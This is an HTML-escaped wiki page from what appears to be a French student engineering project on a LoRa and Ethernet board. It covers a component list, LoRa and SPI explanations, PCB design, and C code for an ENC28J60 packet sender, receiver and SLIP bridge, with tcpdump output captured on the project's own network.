 | Mouser [http://www.mouser.fr/ProductDetail/Semtech/SX1276IMLTRT/?qs=%2fha2pyFadugD0GFlntRWMUKdf7nvBipcWBFnZuVONfp58bvCDWvC3g%3d%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 10uF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/murata/grm188r60j106ke47d/condens-mlcc-x5r-10uf-6-3v-0603/dp/2494230]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 100nF&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603b104k500ct/condensateur-mlcc-x7r-100nf-50v/dp/1759122]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 47pF |&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n470j500ct/condensateur-mlcc-c0g-np0-47pf/dp/1759062]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 15pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n150j500ct/condensateur-mlcc-c0g-np0-15pf/dp/1759055]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 10nF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603b103k500ct/condensateur-mlcc-x7r-10nf-50v/dp/1759102]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1.5pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n1r5c500ct/condensateur-mlcc-c0g-np0-1-5pf/dp/1759042]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 33pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n330j500ct/condensateur-mlcc-c0g-np0-33pf/dp/1759059]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 4.7pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603n4r7c500ct/condensat-mlcc-np0-4-7pf-50v-0603/dp/2524896]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1.2pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/yageo-phycomp/cc0603crnpo9bn1r2/condensateur-mlcc-c0g-np0-1-2pf/dp/721852]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1.8pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603n1r8c500ct/condensat-mlcc-np0-1-8pf-50v-0603/dp/2524881]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 3.3pF |&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603n3r3c500ct/condensat-mlcc-np0-3-3pf-50v-0603/dp/2524894]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1nF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603b102k500ct/condensateur-mlcc-x7r-1nf-50v/dp/1759088]&lt;br /&gt;
 |-&lt;br /&gt;
 | Inductance 33nH&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/tdk/mlg1608b33nj/inductance-hf-33nf-0603/dp/1669604]&lt;br /&gt;
 |-&lt;br /&gt;
 | Inductance 6.2nH (0402)&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/tdk/mlg1005s6n2s/inductance-hf-6-2nf-0402/dp/1669585]&lt;br /&gt;
 |-&lt;br /&gt;
 | Inductance 10nH&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mcft000043/inductance-0603-10nh/dp/1711753]&lt;br /&gt;
 |-&lt;br /&gt;
 | Resistances 1KΩ&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/panasonic-electronic-components/erj3geyj102v/res-couche-epaisse-1k-5-0-1w-0603/dp/2059601]&lt;br /&gt;
 |-&lt;br /&gt;
 | Quartz 32MHz(16pF)&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/epson/x1e0000210391-tsx-3225-32mhz-16pf/quartz-32mhz-16pf-3-2-x-2-5mm/dp/2471844]&lt;br /&gt;
 |-&lt;br /&gt;
 | Regulateur PE4259&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Digi-Key [http://www.digikey.fr/product-detail/fr/peregrine-semiconductor/4259-63/1046-1011-1-ND/2614515?WT.srch=1&amp;amp;mkwid=s2ceNN64k&amp;amp;pcrid=78125697774&amp;amp;pkw=_cat%3Adigikey.fr&amp;amp;pmt=b&amp;amp;pdv=c] Farnell[http://fr.farnell.com/skyworks-solutions/as179-92lf/ic-switch-rf-spdt-0-02-3-0ghz/dp/1753762]&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Deuxième prototype (à base d'un ARM-3 Cortex)&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 |&amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Autres cartes&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | 32u4 RFM95 LoRa Radio - 868 or 915 MHz&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Adafruit [https://www.adafruit.com/product/3078]&lt;br /&gt;
 |-&lt;br /&gt;
 | Prototype carte developpement MBED&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | [http://fr.farnell.com/nxp/om11043/kit-carte-de-prototypage-mbed/dp/1761179]&lt;br /&gt;
 |-&lt;br /&gt;
 | Kit Board developpement MBED&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | [http://fr.rs-online.com/web/p/kits-de-developpement-pour-processeurs-et-microcontroleurs/7694182/?searchTerm=769-4182&amp;amp;relevancy-data=636F3D3126696E3D4931384E525353746F636B4E756D6265724D504E266C753D656E266D6D3D6D61746368616C6C26706D3D5E283F69292852537C5253207C52532D293F5C647B337D285C73293F5B5C732D2F255C2E2C5D285C73293F5C647B332C347D2426706F3D313426736E3D592673743D52535F53544F434B5F4E554D4245522677633D4E4F4E45267573743D3736392D34313832267374613D3736393431383226]&lt;br /&gt;
 |-&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
===Liste du matériel===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:NEWListe_du_matériel-IMA5-PFE19.ods]]&lt;br /&gt;
&lt;br /&gt;
= Premier prototype =&lt;br /&gt;
&lt;br /&gt;
La carte est composée de 3 parties principales : partie Ethernet, partie uC AtMega328P , partie LoRa.&lt;br /&gt;
&lt;br /&gt;
Le rôle du micro-contrôleur est de traiter les informations qui lui parviennent , interfacer et contrôler les communications entre  les périphériques.&lt;br /&gt;
&lt;br /&gt;
La partie LoRa est gérée par un émetteur-recepteur SX1276 doté d'un modem LoRa de chez Semtech offrant une communication longue portée. Cette communication repose sur le principe de la modulation à étalement de spectre.&lt;br /&gt;
&lt;br /&gt;
=== Qu'est ce qu'une modulation à étalement de spectre LoRa? ===&lt;br /&gt;
&lt;br /&gt;
Le modem LoRa utilise une technique exclusive de modulation du spectre étalé opérant dans la bande de fréquences ISM. Cette technique est plus résistante aux interférences et au bruit  dans la bande.&lt;br /&gt;
&lt;br /&gt;
La modulation LoRa repose sur le même principe que la modulation DSSS( Direct Sequence Spread Spectrum)  qui consiste donc à  générer de la redondance d’information à chaque envoi d’une séquence de bits.  Ainsi les bits reçus qui n’utilisent pas le même codage seront rejetés (dont les signaux d’interférence ou le bruit).  Le récepteur peut ainsi reconnaître l’émetteur.&lt;br /&gt;
Dans la modulation LoRa, l'étalement de spectre est obtenu en générant un signal qui  varie continuellement en fréquence et occupe toute la bande passante.&lt;br /&gt;
&lt;br /&gt;
// schéma&lt;br /&gt;
&lt;br /&gt;
=== Alimentation ===&lt;br /&gt;
Pour fonctionner la carte a besoin d'alimentation.La carte fonctionnant sous une tension de 5V ,il a été convenu qu'elle sera alimentée via un port USB. &lt;br /&gt;
&lt;br /&gt;
=== Interfaçage ===&lt;br /&gt;
Les périphériques reliés au microcontrôleur communiqueront avec ce dernier via la liaison SPI. Le bus  SPI est un bus série synchrone constitué de 4 signaux logiques. &lt;br /&gt;
SCK,MOSI,SS générés par le maître et MISO généré par l'esclave. Le maître s'occupe de la communication. Plusieurs esclaves peuvent communiquer sur le même bus à condition qu'il y ait une ligne de sélection dédiée à chaque esclave.&lt;br /&gt;
&lt;br /&gt;
NB : Le uC AtMEGA328P ne disposant que d'une seule ligne de sélection SS nous sommes confrontés au problème de liaison d' un périphérique supplémentaire.&lt;br /&gt;
Solution: Nous allons donc configurer un I/O comme un SS afin d'avoir autant de SS que de périphériques esclaves.&lt;br /&gt;
&lt;br /&gt;
Fonctionnement de l'interface SPI du SX1278 : &lt;br /&gt;
&lt;br /&gt;
La communication est simultanée entre un maître et un esclave. Le maître génère l'horloge et sélectionne un esclave. A chaque coup d'horloge , le maître transmet un bit à l'esclave.&lt;br /&gt;
&lt;br /&gt;
MOSI est généré par le maître sur le front descendant de SCK et est échantillonné par l'esclave sur le front montant de SCK tandis que MISO est généré par l'esclave sur le bord descendant de SCK.&lt;br /&gt;
&lt;br /&gt;
Le  transfert est déclenché lorsque NSS est à l'état bas . MISO est alors en haute impédance lorsque NSS est à l'état haut.&lt;br /&gt;
&lt;br /&gt;
*Le premier octet envoyé est l'octet d'adresse. Il comprend:&lt;br /&gt;
  * Un bit wnr, 1 pour l'accès en écriture et 0 pour l'accès en lecture.&lt;br /&gt;
  * suivi de 7 bits d'adresse(MSB en premier).&lt;br /&gt;
&lt;br /&gt;
*Le deuxième octet est un octet de données, soit envoyé sur MOSI par le maître en cas d'accès en écriture ou reçu par le maître sur MISO en cas d'accès en lecture. L'octet de données est transmis MSB en premier.&lt;br /&gt;
&lt;br /&gt;
Les octets de traitement peuvent être envoyés sur MOSI (pour accès en écriture) ou reçus sur MISO (pour accès en lecture) sans un front montant du NSS et renvoyer l'adresse.&lt;br /&gt;
&lt;br /&gt;
La transmission de la trame se termine lorsque NSS passe à l'état haut. &lt;br /&gt;
&lt;br /&gt;
Pendant l'accès en écriture, l'octet transféré de l'esclave au maître sur la ligne MISO est la valeur de l'écriture avant l'opération d'écriture.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Liaison_Maitre-esclave.jpg|500px|center|Carte Ethernet]]&lt;br /&gt;
&lt;br /&gt;
Transmission d'une trame SPI LoRa en mode simple accès&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Simple_access_lora.jpg|Transmission trame SPI LoRa|500px|center]]&lt;br /&gt;
&lt;br /&gt;
=== Machine d'états===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Réalisation des cartes PCB===&lt;br /&gt;
====La carte PCB====&lt;br /&gt;
----&lt;br /&gt;
Depuis quelques séances, nous avons commencé à réaliser notre carte PCB  qui contient la partie Ethernet  , Microcontrôleur et LoRa à l'aide du logiciel Altium. &lt;br /&gt;
Dans un premier temps nous avons d'abord réalisé les librairies Altium des composants dont nous ne disposons pas. La réalisation des librairies consiste en 2 étapes : schématique et empreinte. Il s'agit donc des composants tels que : le chip SX1276, régulateur PE4259 et le connecteur SI-50196-F. &lt;br /&gt;
&lt;br /&gt;
Voici leurs schématiques et footprints : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery style=&amp;quot;margin: 0 auto;&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:sx1276.PNG|Schematique de Lora SX1276&lt;br /&gt;
Fichier:Connector.PNG‎|Schematique de connecteur SI-50196-F&lt;br /&gt;
Fichier:pe4259.PNG‎|Schématique de régulateur PE4259&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery style=&amp;quot;margin: 0 auto;&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:Con_footprint.PNG|Footprint de connecteur SI-50196-F&lt;br /&gt;
Fichier:pe4259foot.PNG‎|Footprint de régulateur PE4259&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 Il conviendra de préciser que quelques librairies utilisées sont disponibles et téléchargeables sur le site d'Altium Designer et peuvent être installées sur le logiciel Altium de l'école.&lt;br /&gt;
 http://techdocs.altium.com/display/ADOH/Download+Libraries&lt;br /&gt;
&lt;br /&gt;
Cependant nous avons eu un problème du connecteur, puisque normalement pour les autres composants les pistes sont reliés avec les composants qui sont autours sur le schématique et le routage. Mais après avoir vu la carte que nous avons, pour la partie du connecteur il faut créer une cadre pour fixer la place du connecteur sur la carte PCB.&lt;br /&gt;
&lt;br /&gt;
Parallèlement nous avons réalisé la première étape de la conception d'une carte électronique : la réalisation de la schématique. Ci-dessous les schématiques des différentes parties de la carte&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery style=&amp;quot;margin: 0 auto;&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:Ethernet.PNG|Ethernet_Sch&lt;br /&gt;
Fichier:AT328P.PNG|AT328P.PNG_Sch&lt;br /&gt;
Fichier:RF_LoRa.PNG‎|RF_LoRa.PNG_Sch&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Très vite, nous avons entamé la deuxième étape de la conception : le routage. En raison des contraintes de temps, nous allons d'abord produire la partie RF_LoRa afin de pouvoir avancer sur la partie programmation.&lt;br /&gt;
&lt;br /&gt;
====Routage du PCB====&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Le routage consiste à déterminer la route des signaux d'alimentation qui vont relier les composants entre eux et à placer les composants sur la carte.  La carte a été conçue en respectant quelques contraintes de conception dimensionnelles : &lt;br /&gt;
 *la valeurs théoriques de conception sont *largeur des pistes = *,&lt;br /&gt;
 * l'angle entre les pistes ne doit pas être droit, &lt;br /&gt;
 *la carte est en double face, &lt;br /&gt;
&lt;br /&gt;
[[Fichier:CartePCB.PNG‎|500px|center|PCB de la carte]]&lt;br /&gt;
&lt;br /&gt;
==== Réalisation de l'antenne ====&lt;br /&gt;
----&lt;br /&gt;
La carte nécessite une antenne pour la communication RF. En concevant la carte , nous avons désigné la piste reliée à l'antenne de telle sorte qu'elle soit adaptée à 50 ohms (afin d'éviter toute perte de puissance liée à la désadaptation). Nous avons donc utilisé le logiciel AppCAD en prenant en compte certains paramètres tels que le substrat utilisé, la fréquence de fonctionnement,..&lt;br /&gt;
[[Fichier:Sonia.png‎|500px|center|Design de l'antenne]]&lt;br /&gt;
&lt;br /&gt;
====La programmation====&lt;br /&gt;
----&lt;br /&gt;
La carte sera programmée en langage C, langage de programmation modulaire.&lt;br /&gt;
&lt;br /&gt;
Le langage a été choisi pour son caractère universel, sa rapidité, proche du langage machine permettant une programmation simple des microcontrôleurs,..&lt;br /&gt;
 &lt;br /&gt;
*&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt; Partie LoRa &amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
semaine 07/11/2016: Ecriture des fonctions d'écriture et de lecture de l'AtMega (digitalWrite() et digitalRead()) en C qui nous permettront d'écrire les fonctions d'écriture et de lecture SPI.&lt;br /&gt;
&lt;br /&gt;
semaine 14/11/2016 : Ecriture des librairies LoRa et AtMega ainsi que des fichiers de compilation.&lt;br /&gt;
&lt;br /&gt;
Le programme est subdivisé en 5 parties : partie configuration des entrées sorties, partie gestion de la liaison SPI , partie gestion de la modulation LoRa ainsi que les parties gérant les modules émetteurs et récepteurs de la communication RF (Client-Server).&lt;br /&gt;
Le programme est compilable. Nous allons d'abord faire des tests basiques sur un Arduino et ensuite nous testerons sur les modules inAir9 de chez modtronix.&lt;br /&gt;
&lt;br /&gt;
Après avoir retranscrit les bibliothèques en C, nous avons tenté de faire un test. On s'est vite rendu compte que les fonctions SPI étaient mal écrites, elles ont été réécrites en utilisant les registres SPI de l'AtMega328P.&lt;br /&gt;
Nous avons également réalisé 3  ponts diviseurs permettant de fournir des tensions supportables par les broches du modem LoRa.&lt;br /&gt;
Cependant,   &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
*&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Partie Ethernet  &amp;lt;/span&amp;gt;&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Pour la partie Ethernet, dans un premier temps nous avons écrit deux petits programmes pour l'émetteur et le récepteur. &lt;br /&gt;
Voici le code pour l'émetteur&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;string.h&amp;gt;&lt;br /&gt;
#include &amp;lt;avr/io.h&amp;gt;&lt;br /&gt;
#include &amp;lt;util/delay.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#include &amp;quot;serial.h&amp;quot;&lt;br /&gt;
#include &amp;quot;spi.h&amp;quot;&lt;br /&gt;
#include &amp;quot;enc28j60.h&amp;quot;&lt;br /&gt;
&lt;br /&gt;
#define MAX_PACKET     128&lt;br /&gt;
#define MAC_SIZE           6&lt;br /&gt;
#define TYPE_SIZE           2&lt;br /&gt;
&lt;br /&gt;
unsigned char mac_sender[]={0x00,0x10,0x10,0x10,0x10,0x01};&lt;br /&gt;
unsigned char mac_receiver[]={0x00,0x10,0x10,0x10,0x10,0x02};&lt;br /&gt;
unsigned char packet_type[]={0x11,0x11};&lt;br /&gt;
unsigned char packet[MAX_PACKET];&lt;br /&gt;
&lt;br /&gt;
int main(void])&lt;br /&gt;
{&lt;br /&gt;
init_printf();&lt;br /&gt;
spi_init();&lt;br /&gt;
enc28j60Init(mac_sender);&lt;br /&gt;
unsigned char version=enc28j60getrev();&lt;br /&gt;
printf(&amp;quot;revision: %d\n&amp;quot;,version);&lt;br /&gt;
memcpy(packet,mac_receiver,MAC_SIZE);&lt;br /&gt;
memcpy(packet+MAC_SIZE,mac_sender,MAC_SIZE);&lt;br /&gt;
memcpy(packet+2*MAC_SIZE,packet_type,2);&lt;br /&gt;
packet[2*MAC_SIZE+2]=0xaa;&lt;br /&gt;
packet[2*MAC_SIZE+3]=0xbb;&lt;br /&gt;
int len=2*MAC_SIZE+TYPE_SIZE+3;&lt;br /&gt;
unsigned char count=0;&lt;br /&gt;
while(1){&lt;br /&gt;
		packet[2*MAC_SIZE+4]=count++;&lt;br /&gt;
                enc28j60PacketSend(len,packet);&lt;br /&gt;
                printf(&amp;quot;Packet send size=%d\n&amp;quot;,len);&lt;br /&gt;
                _delay_ms(1000);&lt;br /&gt;
                }&lt;br /&gt;
		return 0;		&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Et le code pour le récepteur&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void])&lt;br /&gt;
{&lt;br /&gt;
init_printf();&lt;br /&gt;
spi_init();&lt;br /&gt;
enc28j60Init(mac_receiver);&lt;br /&gt;
unsigned char version=enc28j60getrev();&lt;br /&gt;
printf(&amp;quot;revision: %d\n&amp;quot;,version);&lt;br /&gt;
while(1){&lt;br /&gt;
                int size=enc28J60PacketReceive(MAX_PACKET,packet);&lt;br /&gt;
                printf(&amp;quot;Packet received size=%d\n&amp;quot;,size);&lt;br /&gt;
                int i,col=0;&lt;br /&gt;
                for(i=2*MAC_SIZE+TYPE_SIZE;i&amp;lt;size;i++){&lt;br /&gt;
                     printf(&amp;quot;%02x&amp;quot;,packet[i]);&lt;br /&gt;
                     col++;&lt;br /&gt;
                     if(col==16){ printf(&amp;quot;\n&amp;quot;); col=0);}&lt;br /&gt;
                     }&lt;br /&gt;
                if(col&amp;gt;0) printf&amp;quot;\n&amp;quot;);&lt;br /&gt;
                _delay_ms(1000);&lt;br /&gt;
                }&lt;br /&gt;
		return 0;		&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ces deux codes permettent l'émetteur et le récepteur de communiquer entre eux. &lt;br /&gt;
&lt;br /&gt;
[[Fichier:communication.jpg|400px|center|La communication entre l'émetteur et le récepteur]]&lt;br /&gt;
&lt;br /&gt;
Avec le minicom, nous avons bien observé les données qui sont envoyées par l'émetteur et les données qui sont reçues par le récepteur.&lt;br /&gt;
&lt;br /&gt;
Ensuite nous avons développé notre idée. Voici une image pour mieux expliqué comment cela fonctionne.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
[[Fichier:Untitled drawing.jpg|400px|thumb|center|Objectif du second prototype]]&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La carte ethernet1 doit arriver à recevoir des paquets ethernet du PC1 par la liaison série. Ensuite elle doit envoyer ces paquets à Arduino1 via SPI. Après l'Arduino1 va envoyer ces paquets par TX et RX. Une fois qu'Arduino2 reçoit ces paquet, il doit être capable d'envoyer des paquets à la carte ethernet2. Au final la carte ethernet2 doit envoyer toutes des données reçues à PC2. La transmission doit être bidirectionnel. &lt;br /&gt;
Pour réussir ce but, nous avons divisé le travail en deux partie. Dans un premier temps, nous avons programmé une carte comme serveur et l'autre carte comme client. Et nous devions réaliser des taches marquées ci-dessous:&lt;br /&gt;
&lt;br /&gt;
* si un paquet est reçu par le ENC28j60 alors le recopier dans le tableau Ethernet&lt;br /&gt;
* si un paquet est présent dans le tableau Ethernet, envoyer l'octet courant sur le port série&lt;br /&gt;
* si un octet arrive sur le port série le stocker dans le tableau Serie&lt;br /&gt;
* si le paquet dans le tableau Serie est complet, l'envoyer sur Ethernet&lt;br /&gt;
&lt;br /&gt;
Lorsque nous envoyons des paquets via TX/RX donc ceux sont des paquets SLIP. Pour analyser des paquets, il faut chercher le début et la fin de la trame. Le protocole SLIP modifie le paquet IP de la manière suivante&lt;br /&gt;
&lt;br /&gt;
* ajout d'un octet END afin de séparer les différents paquets&lt;br /&gt;
* si l'octet END est présent dans le paquet, il est remplacé par une séquence de deux octets ESC et ESC_END&lt;br /&gt;
* si l'octet ESC est présent dans le paquet, il est remplacé par une séquence de deux octets ESC et ESC_ESC&lt;br /&gt;
* une variante du protocole peut commencer et finir les paquets par l'octet END&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
[[Fichier:slip.png|400px|thumb|center|Les valeurs des octets modifiées sont les suivantes]]&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Basé sur ce protocole, nous avons donc écrit le code ci-dessous  &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_printf();&lt;br /&gt;
spi_init();&lt;br /&gt;
enc28j60Init(mac_receiver); //enc28j60Init(mac_sender) pour l'émetteur&lt;br /&gt;
unsigned char version=enc28j60getrev();&lt;br /&gt;
printf(&amp;quot;revision: %d\n&amp;quot;,version);&lt;br /&gt;
while(1){&lt;br /&gt;
  if(nb_ethernet==0{&lt;br /&gt;
    nb_ethernet=enc28j60PacketReceiver(MAX_BYTES,packet_ethernet);&lt;br /&gt;
    if(nb_ethernet!=0) index_ethernet=0;&lt;br /&gt;
    }&lt;br /&gt;
  if(nb_ethernet&amp;gt;0){&lt;br /&gt;
    if(index_ethernet&amp;lt;nb_ethernet){&lt;br /&gt;
      unsigned char c=packet_ethernet[index_ethernet++];&lt;br /&gt;
      if(c==SLIP_END){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_END); }&lt;br /&gt;
      else if(c==SLIP_ESC){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC); }&lt;br /&gt;
      else send_serial(c);&lt;br /&gt;
      }&lt;br /&gt;
    else{ send_serial(SLIP_END); nb_ethernet=0; } &lt;br /&gt;
    }  &lt;br /&gt;
  if(serial_available()){&lt;br /&gt;
    unsigned char c=get_serial();&lt;br /&gt;
    if(c==SLIP_ESC){&lt;br /&gt;
      unsigned char code=get_serial();&lt;br /&gt;
      if(code==SLIP_CODE_END) packet_serial[nb_serial++]=SLIP_END;&lt;br /&gt;
      else if(code==SLIP_CODE_ESC) packet_serial[nb_serial++]=SLIP_ESC;&lt;br /&gt;
      }&lt;br /&gt;
    else if(c==SLIP_END){ enc28j60PacketSend(nb_serial,packet_serial); nb_serial=0; }&lt;br /&gt;
    else packet_serial[nb_serial++]=c;&lt;br /&gt;
    }&lt;br /&gt;
  }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite pour visualiser les transmissions des données, nous avons utilisé une commande&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
tcpdump -vvvv -n -Xe -ieth0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Cette commande permet de savoir le type et les contenues d'un packet. Quelques options importantes pour tcpdump &lt;br /&gt;
*-n: tcpdump ne convertira pas les adresses et les numéros de ports en leurs noms.&lt;br /&gt;
*-i nom_interface : permet de choisir l'interface d'écoute. &lt;br /&gt;
*-v : permet d'afficher encore plus d'informations sur les paquets, il y a trois niveaux de verbosité.&lt;br /&gt;
* -X : affiche les paquets en hexadécimal et en ASCII. &lt;br /&gt;
Donc sur le terminal nous avons eu &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes&lt;br /&gt;
11:16:32.102805 20:3d:20:30:78:30 &amp;gt; 4d:41:41:44:52:35, ethertype Unknown (0x0d0d), length 167: &lt;br /&gt;
	0x0000:  0a4d 4141 4452 3420 3d20 3078 3130 0d0d  .MAADR4.=.0x10..&lt;br /&gt;
	0x0010:  0a4d 4141 4452 3320 3d20 3078 3130 0d0d  .MAADR3.=.0x10..&lt;br /&gt;
	0x0020:  0a4d 4141 4452 3220 3d20 3078 3130 0d0d  .MAADR2.=.0x10..&lt;br /&gt;
	0x0030:  0a4d 4141 4452 3120 3d20 3078 3130 0d0d  .MAADR1.=.0x10..&lt;br /&gt;
	0x0040:  0a4d 4141 4452 3020 3d20 3078 320d 0d0a  .MAADR0.=.0x2...&lt;br /&gt;
	0x0050:  7265 7669 7369 6f6e 3a20 360d 0aff ffff  revision:.6.....&lt;br /&gt;
	0x0060:  ffff ff5c b901 01ed ce08 0600 0108 0006  ...\............&lt;br /&gt;
	0x0070:  0400 015c b901 01ed ceac 1a4f 2100 0000  ...\.......O!...&lt;br /&gt;
	0x0080:  0000 00ac 1a4f fe00 0000 0000 0000 0000  .....O..........&lt;br /&gt;
	0x0090:  0000 0000 0000 0000 00                   .........&lt;br /&gt;
11:16:35.105084 5c:b9:01:01:ed:ce &amp;gt; ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 60: Ethernet (len 6), IPv4 (len 4), &lt;br /&gt;
        Request who-has 172.26.79.254 tell 172.26.79.33, length 46&lt;br /&gt;
	0x0000:  0001 0800 0604 0001 5cb9 0101 edce ac1a  ........\.......&lt;br /&gt;
	0x0010:  4f21 0000 0000 0000 ac1a 4ffe 0000 0000  O!........O.....&lt;br /&gt;
	0x0020:  0000 0000 0000 0000 0000 0000 0000       ..............&lt;br /&gt;
11:16:36.102140 5c:b9:01:01:ed:ce &amp;gt; ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 60: Ethernet (len 6), IPv4 (len 4), &lt;br /&gt;
        Request who-has 172.26.79.254 tell 172.26.79.33, length 46&lt;br /&gt;
	0x0000:  0001 0800 0604 0001 5cb9 0101 edce ac1a  ........\.......&lt;br /&gt;
	0x0010:  4f21 0000 0000 0000 ac1a 4ffe 0000 0000  O!........O.....&lt;br /&gt;
	0x0020:  0000 0000 0000 0000 0000 0000 0000       ..............&lt;br /&gt;
11:16:37.102128 5c:b9:01:01:ed:ce &amp;gt; ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 60: Ethernet (len 6), IPv4 (len 4), &lt;br /&gt;
        Request who-has 172.26.79.254 tell 172.26.79.33, length 46&lt;br /&gt;
